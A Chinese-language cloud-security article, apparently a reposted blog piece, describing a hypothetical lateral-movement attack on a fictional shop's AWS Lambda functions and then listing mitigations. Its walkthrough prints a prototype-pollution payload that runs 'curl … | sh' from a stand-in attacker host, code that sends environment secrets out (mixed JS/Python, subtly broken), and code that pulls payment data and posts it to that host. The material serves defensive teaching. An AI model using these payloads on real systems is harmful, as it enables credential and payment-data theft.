“ 在云计算向无服务器架构加速演进的浪潮中,AWS Lambda作为函数即服务(FaaS)模式的代表,正在重塑开发者的工作范式”
看不见的服务器风险
AWS Lambda 是 Amazon Web Services (AWS) 提供的一种无服务器计算服务,允许开发者无需管理底层服务器即可运行代码。它的核心设计理念是“按需执行、自动扩展、按使用付费”,适用于事件驱动的场景,能够大幅简化开发和运维流程
在云计算向无服务器架构加速演进的浪潮中,AWS Lambda作为函数即服务(FaaS)模式的代表,正在重塑开发者的工作范式。
这项革命性服务将基础设施的管理重任转移给云平台,让开发者得以专注于业务逻辑的实现。但硬币的另一面是,这种架构转型正在催生新型攻击面,安全团队需要特别关注这些"看不见的服务器"潜藏的风险。
虽然 AWS Lambda 和无服务器架构正变得越来越普遍,并提供了许多优势,包括自动扩展、降低运营开销和成本优化,但它们也引入了新的安全注意事项。
本文将通过具体案例分析,揭示AWS Lambda环境中那些容易被忽视的安全盲区。
AWS Lambda 简介
AWS Lambda核心概念:
-
无服务器(Serverless)
-
用户无需预置或管理服务器,只需关注代码逻辑。 -
AWS 负责底层服务器的维护、扩展、容错和安全性。 -
事件驱动(Event-Driven)
-
Lambda 函数通过触发器(Trigger)被调用,例如:HTTP请求(通过API Gateway)、文件上传到S3、数据库更新(DynamoDB)、消息队列(SQS/SNS)等。 -
当事件发生时,AWS 自动触发Lambda函数执行。 -
按需执行(On-Demand Execution)
-
代码仅在需要时运行,空闲时不产生费用。 -
自动扩展:根据请求量动态分配资源,理论上可支持无限并发。 -
按使用付费(Pay-Per-Use)
-
费用基于代码执行时间和内存消耗计算,精确到毫秒。 -
免费层:每月前100万次请求和一定量的计算时间免费。
-
事件源 – 如果保护不当,这些触发器(如 API Gateway 请求、S3 存储桶更改或 DynamoDB 更新)可能会被利用。
-
Lambda 函数 – 无服务器应用程序的核心,在其中执行代码并可能引入漏洞。
-
执行环境 – 由 AWS 管理,但可由用户配置,存在可能被利用的错误配置。
-
事件使用者 – 通常是与 Lambda 函数交互的其他 AWS 服务或外部 API,从而扩大了攻击面。
AWS Lambda的事件驱动机制构建起独特的运行生态。无论是来自云平台内部的监控告警,还是外部的API调用,每个触发事件都可能成为攻击者的切入点。
我们注意到,安全社区存在这样的认知误区:认为函数短暂的生命周期和天然的无状态特性等同于安全性。
但现实案例不断敲响警钟——从Cado Labs披露的Lambda专用恶意软件,到Sysdig捕获的Scarlet Eel攻击组织针对函数的数据窃取,这些事件都在颠覆传统认知。
值得警惕的是,攻击者正在形成清晰的战术路线:通过篡改函数代码窃取访问凭证,利用临时容器进行横向渗透,甚至将函数作为跳板实施更大范围的供应链攻击。
这些攻击往往始于两个薄弱环节:
1. 工程师在权限配置上的疏忽
2. 业务代码中潜藏的逻辑漏洞
例如,过度宽松的执行角色可能让攻击者获得意外权限,而未受控的外部依赖库则可能引入恶意代码。
AWS Lambda 攻击的真实示例
让我们假设这是一家虚构的电子商务公司“SentiShop”,该公司在 AWS 上使用无服务器架构。他们有几个 Lambda 函数处理其平台的不同方面:
-
process-order
:处理新订单 -
payment-gateway
:处理付款
错误配置
-
process-order
函数具有过于宽松的 IAM 角色,允许它调用任何 Lambda 函数并访问各种 AWS 服务。 -
process-order
函数中的输入验证不足。 -
process-order
正在使用易受攻击的 JSON 解析器。 -
敏感数据(包括数据库连接字符串)存储在环境变量中。
-
所有函数都位于同一 AWS 账户 中,没有进行适当的分段。
利用错误配置进行横向移动
攻击者发现 process-order
函数使用过时
版本的常用 npm 包进行 JSON 解析,该包存在已知的原型污染漏洞。他们制作了一个恶意的订单负载:
{
"order_id": "1337",
"__proto__": {
"polluted": "true"
},
"items": [{"id": 1, "quantity": 1}]
}
process-order 函数使用过时的包来解析传入的 JSON:
const vulnerableJsonParser = require('vulnerable-json-parser');
exports.handler = async (event) => {
const order = vulnerableJsonParser.parse(event.body);
// Process the order…
}
此原型污染漏洞允许攻击者修改函数的行为并可能执行任意代码。
第 2 步:实现代码执行
然后,攻击者利用原型 pollution 来覆盖 Object 的 toString
方法,该方法通常在 Node.js 应用程序中隐式调用:
{
"order_id": "1337",
"__proto__": {
"toString": "function(){return require('child_process').execSync('curl https://malicious-site.com/payload | sh')}",
"polluted": "true"
},
"items": [{"id": 1, "quantity": 1}]
}
当该函数尝试在任何对象上使用 toString
时,它将执行攻击者的恶意代码,该代码从其命令和控制 (C2) 服务器下载并运行有效负载。
第 3 步:利用环境变量
现在攻击者已经执行了代码,他们可以访问函数的环境变量:
function malicious_function() {
secrets = process.env
# Send secrets to attacker-controlled server
requests.post('https://malicious-site.com/payload', {“env”: secrets})
}
他们现在拥有与函数的 IAM 角色关联的数据库连接字符串和 AWS 凭证。
第 4 步:横向移动
使用我们过于宽松的 IAM 角色,攻击者可以在整个环境中查找可用的 Lambda 函数:
const AWS = require('aws-sdk');
async function listAvailableLambdaFunctions() {
// Initialize the Lambda client
const lambda = new AWS.Lambda();
const functions = [];
let nextMarker = null;
try {
do {
// List Lambda functions, 50 at a time (default limit)
const response = await lambda.listFunctions({
Marker: nextMarker
}).promise();
// Add the functions to our list
functions.push(...response.Functions);
// Check if there are more functions to fetch
nextMarker = response.NextMarker;
} while (nextMarker);
// Log and return the list of functions
console.log('Available Lambda functions:');
functions.forEach(func => {
console.log(`- ${func.FunctionName} (Runtime: ${func.Runtime}, Last Modified: ${func.LastModified})`);
});
return functions;
} catch (error) {
console.error('Error listing Lambda functions:', error);
throw error;
}
}
运行此命令,攻击者将发现存在支付网关 Lambda。下一步将是尝试了解任何潜在的开发潜力。
第 5 步:数据泄露
使用过于宽松的 IAM 角色,攻击者现在可以调用另一个 Lambda 函数,特别是 payment-gateway 函数,以便从应用程序数据库获取付款信息:
const AWS = require('aws-sdk');
const https = require('https');
async function lateralMovement() {
const lambda = new AWS.Lambda();
try {
// Invoke the payment-gateway function
const response = await lambda.invoke({
FunctionName: 'payment-gateway',
InvocationType: 'RequestResponse',
Payload: JSON.stringify({ action: "list_transactions" })
}).promise();
// Extract sensitive payment data
const paymentData = JSON.parse(response.Payload);
// Exfiltrate sensitive payment data
await new Promise((resolve, reject) => {
const req = https.request({
hostname: 'malicious-site.com',
port: 443,
path: '/payload',
method: 'POST',
headers: {
'Content-Type': 'application/json'
}
}, (res) => {
res.on('data', () => {});
res.on('end', resolve);
});
req.on('error', reject);
req.write(JSON.stringify(paymentData));
req.end();
});
console.log('Data exfiltrated successfully');
} catch (error) {
console.error('Error during lateral movement:', error);
}
}
攻击者可以对其他功能重复此过程,逐渐在整个无服务器架构中扩展其访问权限。
缓解 AWS Lambda 中的横向移动攻击
为了防止 AWS Lambda 环境中的横向移动攻击,如上面的实际示例所示,组织应实施多层安全控制。以下是关键的缓解策略:
IAM 角色强化
-
为 Lambda 函数 IAM 角色实施最低权限原则。对不同的功能使用单独的角色,而不是共享角色。
-
使用 AWS 服务控制策略 (SCP) 实施防护机制。
-
使用
aws:SourceIp
和aws:PrincipalTag
条件实施角色承担限制。
Lambda 函数保护
-
在 Lambda 应用程序级别实施输入验证和清理。
-
启用 Lambda 函数 URL 授权或 API Gateway 身份验证。
-
API Gateway 请求验证器可以与 json scheme 一起使用,以防止 proto pollution 攻击。
-
应使用包管理来防止使用不安全的依赖项。
-
将密钥存储在密钥管理器中。
监控和检测
-
启用 AWS CloudTrail 以进行 API 活动监控。
-
为 Lambda 函数日志记录配置 CloudWatch Logs。为可疑活动设置 CloudWatch 警报。
-
启用 VPC 流日志以进行网络监控。
-
云原生应用程序保护平台(如 SentinelOne 的 Cloud Native Security)可检测错误配置和漏洞,并深入了解云问题的可利用性,以帮助安全和云团队确定云问题的优先级并修复云问题,以降低组织的云风险。
结论
本文演示了一系列错误配置如何导致无服务器环境中出现严重的安全漏洞。通过利用单个易受攻击的功能,攻击者有可能获得对整个无服务器应用程序生态系统的访问权限。
无服务器环境中的安全性是一项共同的责任,虽然云提供商保护底层基础设施,但开发人员和运营团队必须确保其功能、数据和访问策略的安全。
原文始发于微信公众号(WH0secLab):【云安全】利用Lambda错误配置进行横向移动
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论